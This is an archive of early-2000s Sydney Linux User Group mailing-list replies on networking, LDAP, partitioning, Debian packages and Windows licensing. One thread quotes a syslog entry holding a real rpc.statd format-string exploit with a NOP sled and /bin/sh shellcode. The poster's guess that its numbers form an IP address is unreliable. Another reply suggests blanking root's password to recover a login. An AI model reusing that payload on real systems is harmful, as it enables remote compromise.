Re: [SLUG] small network w/ linux box as hub

2002-05-01 Thread Robert Reid

Becuase they are on the same subnet, (192.168.0.0, I'm guessing your
netmask is 255.255.255.0), each windows computer doesn't think it should
have to go via the linux router (default gw) to get to the other, hence it
is failing.

If you eth0=192.168.0.1,
windows1=192.168.0.2 (or anything 255),
windows1 default gw=192.168.0.1, and

eth1=192.168.1.1
windows2=192.168.1.x (likewise 1x255),
windows2 default gw=192.168.1.1,

then adjust the routing table on the linux box to suit, then you should
have more sucess. Make sure that the netmask for all of these is
255.255.255.0.  The reason is that now the windows computers will think
they are different subnets, and know to go via the default gw to reach
them.

If you want to learn more about that, there should be a tcp subnetting
tutorial somewhere on the web you can read up on.

Good luck,
Rob.
 On Thu, 2 May 2002, dionysus wrote:

 heya guys,

 I'm trying to set up a home network between my two machines (onw
 windows, one linux) and my flatmate's windows box using the linux box
 (with two network cards in it) as a routing hub. I have currently got
 the linux box able to ping both windows machines (and them able to
 ping it) by adding the windows machines to /etc/hosts, and adding
 direct routes to them on the routing table. However, neither windows
 machine can ping the other.
 /proc/sys/net/ipv4/ip_forward is set to 1, and I have fiddled with the
 options in netconf (the networking subpart of linuxconf)'s routing
 section (the same app I used to add the direct routes to the routing
 table) to attempt to get my machine to be able to forward packets. I
 have also looked at netcfg but no joy there. The network is set up as
 follows:

 linux box (RedHat 7.2 (more or less stock install)):
 eth0 = 192.168.0.1
 eth1 = 192.168.0.3

 windows1:
 192.168.0.2 (connected to 192.168.0.1)

 windows 2:
 192.168.0.4 (connected to 192.168.0.3)

 and the routing table looks like

 windows1  192.168.0.1 255.255.255.255 UGH 0 0 0   eth0
 windows2  192.168.0.3 255.255.255.255 UGH 0 0 0   eth1
 127.0.0.0 *   255.0.0.0 U 0 0 0   lo

 both of the windows machines have the correct default gateways
 installed.

 I'm probably missing something really obvious here, but I've tried
 pretty much every combination of options in netconf's routing section,
 and I'm damned if I can think of anything else that I should do.

 If anyone can see anything obviously wrong here please put me out of
 my misery and let me know, or if you could point me in the right
 direction that'd be much appreciated too.

 Thanks heaps in advance

 -d
 --
 SLUG - Sydney Linux User's Group - http://slug.org.au/
 More Info: http://lists.slug.org.au/listinfo/slug


-- 
SLUG - Sydney Linux User's Group - http://slug.org.au/
More Info: http://lists.slug.org.au/listinfo/slug



Re: [SLUG] How to soft-shutdown my computer ?

2002-04-24 Thread Robert Reid

If the power management isn't compiled in, maybe RedHat have made it a 
module.  If they have, it will be called apm, so you can load it with 
modprobe apm.  Then try the shutdown -h now.

Rob

DaZZa wrote:

On Wed, 24 Apr 2002, henry wrote:

I can soft-shutdown my Win98(ie , I dont need to press power-button to close power)
But I found that I cant do it on Redhat70 by typing shutdown now.
Could you give some clue ?


Try

shutdown -h now

It alld epends on power management being compiled into the kernel, from
memory. If it's there, soft shutdown will work {assuming the hardware is
capable of it, which not all hardware is}.

DaZZa



-- 
SLUG - Sydney Linux User's Group - http://slug.org.au/
More Info: http://lists.slug.org.au/listinfo/slug



Re: [SLUG] [Fwd: [Lias] Latest Microsoft Stupidity]

2002-04-21 Thread Robert Reid



Ken Foskey wrote:

On Sun, 2002-04-21 at 18:45, Jon Biddell wrote:

The legal position is; If I buy a PC with Windows pre-installed (with 
licence, cd, etc), I can give that PC away to whomever I choose WITHOUT 
WINDOWS included. I cannot use THAT Windows licence on any other hardware. 
So if you give a PC away, destroy the Windows licence / CD, and you are 
legally in the clear.


I am not a lawyer, caveate emptor...

As I understand it, the doze license is that magic little hologram.  If
you have possesion of that you own the license, if you do not then you
don't own it and it is a pirate copy and you can be subject to
persecution :-}.  You can legally give  away or sell this license
because you have paid for it and it is your license to use the software,
the cost may have been in your hardware but you still paid for it.  M$
cannot stop you from doing this.  The same as the manufacturer can stop
you selling the video card out of the computer when you upgrade your
video card to a new one.

According to the computing unit at UNSW:

All Microsoft Operating System licences, including upgrade licences, are 
tied to the machine on which they are first installed and clients may 
not transfer the operating system licences from the original machine to 
a different machine.

The Microsoft definition of a machine is a complete PC including a hard 
drive. Note you wouldn't need a new licence if you only upgraded [the] 
hard disk. If a major upgrade was undertaken, i.e., hard disk, CPU, 
graphics, etc., then you'd need a new licence.

(end of quote)
Two clauses from the NT 4 Workstation EULA:
Single COMPUTER. The SOFTWARE PRODUCT is licensed with the
HARDWARE as a single integrated product. The SOFTWARE PRODUCT may only
be used with the HARDWARE as set forth in this EULA.

Software Product Transfer. You may permanently transfer all
of your rights under this EULA only as part of a permanent sale or
transfer of the HARDWARE, provided you retain no copies, you transfer
all of the SOFTWARE PRODUCT (including all component parts, the media
and printed materials, any upgrades, this EULA and, if applicable,
the Certificate(s) of Authenticity), and the recipient agrees to the
terms of this EULA. If the SOFTWARE PRODUCT is an upgrade, any
transfer must also include all prior versions of the SOFTWARE PRODUCT.


So, as far as I can tell, no you can't legally sell or give away the 
windows license you have, unless you give or sell the computer that it 
belongs on as well - and you can't get a new computer, wipe windows off 
your old one, and reinstall it on the new one.

I think it stinks, but this is what everyone is agreeing to with 
Windows.

Regards, Rob.


-- 
SLUG - Sydney Linux User's Group - http://slug.org.au/
More Info: http://lists.slug.org.au/listinfo/slug



Re: [SLUG] Login Problems - Redhat 7.2 [Longish]

2002-04-07 Thread Robert Reid

To fix it for now, you can remove the x in the passwd file for root,
root:x:0:0:...
becomes
root::0:0:.

This will give you NO root password.  You could then try logging in and 
running passwd to create a new one.  Or you can put the hash into 
/etc/passwd directly, not shadow, instead of where the x is:
root:(hash goes here):0:0:...

Rob

[EMAIL PROTECTED] wrote:

On  3 Apr, Tiwari, Rajnish wrote:

  At the login: prompt on the console, when I type in root, I get 
  another login: prompt back !! No prompt for password nor a  
  error message (nor a successful login).  
  
  Yes, there is a root user account, and a password. (Checked it 
  by booting of CDROM, chosing 'linux rescue' at the prompt and 
  checking the installation under /mnt/sysimage/...). 


I had a similar problem with RH 7.2 - one of the accounts I created
couldn't login.  A friend told me that the old-style crypt password
stuff had been broken, and that the easiest thing to do was to change
over to the newer-style passwords.  (Old style has 8 character maximum
significance, newer style has much more.)

Sorry I can't remember any more details than that.  Did you choose the
older style of password when you installed?  If you did, it's probably
that.  (For me, 2 out of the 3 accounts could login, and one couldn't.)

I also had that problem after forcing the install of a whole set of
corrupted rpm files.  That caused one of the NIS libraries to make
programs like login dump core.  In fact, that was what led me to
install 7.2 - I'd just trashed my 7.1 system.  (I lost no user or /etc
files though, since /home was on a separate partition, as was
/usr/local, and I copied off /etc before doing the install.)

luke



-- 
SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/
More Info: http://lists.slug.org.au/listinfo/slug



[SLUG] Troubles with LDAP and NSS

2002-04-02 Thread Robert Reid

Hi everyone,

After the recent discussions about LDAP, I thought I would give setting 
up openldap a go over the weekend.  I managed to install it and get it 
set up, and I can now log in from a debian client using the 
account/password stored in the ldap server.  I installed the libnss-ldap 
deb package on the client and setup ldap for the passwd, group and 
shadow settings in /etc/nsswitch.conf. For the moment I'm not using nscd.

However, its now when I've run into trouble.  I have an ldap user, rob2, 
uid 1502 in the ldap server, and a directory owned by them in the file 
system.  As root I can do the following:

phobos:/mnt# ls -ld /home/rob2
drwxr-xr-x   11 rob2 1502  512 Jul  4  2001 /home/rob2
phobos:/mnt#

 (don't worry about the gid, I haven't set up an ldap group yet).  This 
information is coming from the ldap server, and I can see the connection 
in the ldap server log.

But when I try it as a local, non-privileged user (local = exists in 
/etc/passwd), it doesn't resolve:
rob@phobos:~$ ls -ld /home/rob2
drwxr-xr-x   11 1502 1502  512 Jul  4  2001 /home/rob2
rob@phobos:~$

And, I can log in as my rob2 user, using the password stored in the ldap 
server, but names dont' resolve either:
I have no name!@phobos:~$ ls -ld /home/rob2
drwxr-xr-x   11 1502 1502  512 Jul  4  2001 /home/rob2
I have no name!@phobos:~$

In the last two cases, the ls -l does not even try and connect to the 
ldap server (according to the server logs).

I'm not using SSL/TLS yet, and the ACLs are wide open at the moment.

Has anyone seen this sort of behaviour before, or can give me any ideas 
as to what's wrong?

Regards,

Robert.

-- 
SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/
More Info: http://lists.slug.org.au/listinfo/slug



Re: [SLUG] AGP cards

2002-04-01 Thread Robert Reid

On Sat, 30 Mar 2002, Dennis Curnow` wrote:

 Can anyone enlighten me on what sort of slot the AGP video cards require?

An AGP slot :)
Same size as the PCI slots, usually brown and set back from the edge of
the motherboard a bit more than a PCI slot.

Rob

 TIA

 Kind Regards
 Dennis


 --
 SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/
 More Info: http://lists.slug.org.au/listinfo/slug


-- 
SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/
More Info: http://lists.slug.org.au/listinfo/slug



Re: [SLUG] Help with fdisk please

2002-03-27 Thread Robert Reid

The limit of 4 applies to primary/extended partitions; you can only have 4
primary and extended partitions combined, but this doesn't apply to logical
partitions inside an extended.


Robert

On Thu, 28 Mar 2002, Matthew Dalton wrote:

 John Clarke wrote:
  You can have more than four:

 Well that's news to me.

 Thanks,
 Matthew
 --
 SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/
 More Info: http://lists.slug.org.au/listinfo/slug


-- 
SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/
More Info: http://lists.slug.org.au/listinfo/slug



Re: [SLUG] epson color stylus from commandline :debian2.2r5

2002-03-21 Thread Robert Reid

I think printcap just lives in /etc/printcap in debian - but can't
remember off the top of my head

You can use Alt-F1, Alt-F2 ... F6 to switch between different virtual
terminals, so you can have the text files open in a second terminal.

Rob

On Fri, 22 Mar 2002, Bill Taylor wrote:

 thought I could copy printcap/local from rh, but it doesn't exist in
 debian. I want to print files so I can get x working.
 2)or can I have multiple desktops/terminals from the commandline?
 tia
 Bill

 --
 SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/
 More Info: http://lists.slug.org.au/listinfo/slug


-- 
SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/
More Info: http://lists.slug.org.au/listinfo/slug



Re: [SLUG] lynx's homepage?

2002-03-20 Thread Robert Reid

All it is asking is what do you want to be the startup page if you run lynx.

Just put in whatever you want - e.g. www.google.com ?


Rob
Bill Taylor wrote:

 in the middle of debian configuration it asks for lynx's URL .
 does anyone know without a lot of trouble?
 thanks
 Bill



-- 
SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/
More Info: http://lists.slug.org.au/listinfo/slug



Re: OT datafast? (was Re: [SLUG] Optus Dial-Up Internet)

2002-03-18 Thread Robert Reid

I've used them back home in Western Victoria (where they started), both 
on a modem and later on a satellite.  No fancy setups, so linux worked 
fine, and I think if you talk to the right person you can get help if 
you need it.

It was a pretty good setup for a country ISP, especially compared to the 
competition available there, I don't know how they stack up against all 
the extra options you have in the city, but worth looking into

Rob

(also with dingoblue and searching)

David Fitch wrote:

while we're on the subject of linux friendly ISPs...
anyone got anything to say about Datafast? (www.datafast.net.au)
I'm considering a perm modem connection with them.

Dave



-- 
SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/
More Info: http://lists.slug.org.au/listinfo/slug



Re: [SLUG] SCP on debian

2001-06-26 Thread Robert Reid

Hi,

scp is in the ssh package, so use
apt-get install ssh

It is in the non-us branch I think, so make sure there is something to
that effect in your /etc/apt/sources.list file.
I think the version in potato is quite old, so you may wish to grab it
from woody or sid if you feel like it.

Rob

Ken Foskey wrote:

 I have 'apt-cache search scp' and found nothing.

 what is the package name?

 Any tips on how I find it myself?

 This is so I can grab a file off my main box from my Deb FW box because
 I cannot grab freeswan directly using Lynx.  I am very confused.

 KenF

 --
 SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/
 More Info: http://lists.slug.org.au/listinfo/slug


-- 
SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/
More Info: http://lists.slug.org.au/listinfo/slug



Re: [SLUG] rpc.statd vuln

2001-06-26 Thread Robert Reid

I received this also, and notice that the 236 137 10 192 in it looks a lot like
an ip address - so I guess be careful if you notice any traffic to anywhere
like that.

Rob

Jon Austin wrote:

 does anyone know what exploit this is and what versions of rpc.statd are
 vuln? i have been looking
 but no joy

 Jun 25 19:10:23 tcpublic /sbin/rpc.statd[144]: gethostbyname error for
 ^XF7FFBF^XF7FFBF^YF7FFBF^YF7FF
 BF^ZF7FFBF^ZF7FFBF^[F7FFBF^[F7FFBF%8x%8x%8x%8x%8x%
 8x%8x%8x%8x%236x%n%137x%n%10x%n%192x%n\220\220\220
 \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
 \220\220\220\220\220\220\220\220\220\220\220\220\2
 20\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\2
 20\220\220\220\220\220\220\220\220\220\220\220\220
 \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
 \220\220\220\220\220\220\220\220\220\220\220\220\2
 20\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\2
 20\220\220\220\220\220\220\220\220\220\220\220\220
 \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
 \220\220\220\220\220\220\220\220\220\220\220\220\2
 20\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\2
 20\220\220\220\220\220\220\220\220\220\220\220\220
 \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
 \220\220\220\220\220\220
 Jun 25 19:10:23 tcpublic
 C7^F/binC7F^D/shA0C0\210F^G\211v^L\215V^P\215N^L\211F3B0^KCD\200
 B0^ACD\200E8\177
 FF

 --
 SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/
 More Info: http://lists.slug.org.au/listinfo/slug


-- 
SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/
More Info: http://lists.slug.org.au/listinfo/slug



[SLUG] Reiser FS

2001-03-19 Thread Robert Reid

Hi all,

I'm am considering putting ReiserFS onto my debian system when I put a
2.4.x kernel on.  Can ResierFS be currently be used as a root partition
or not? If not, should I make /home, /usr and /var separate Resier
partitions?

I've also heard that there were some issues with exporting
ResierFS paritions via NFS - is this still a problem? (I shouldn't need
to generally, but might be useful occasionly, i.e. backups).

Rob.


-- 
SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/
More Info: http://slug.org.au/lists/listinfo/slug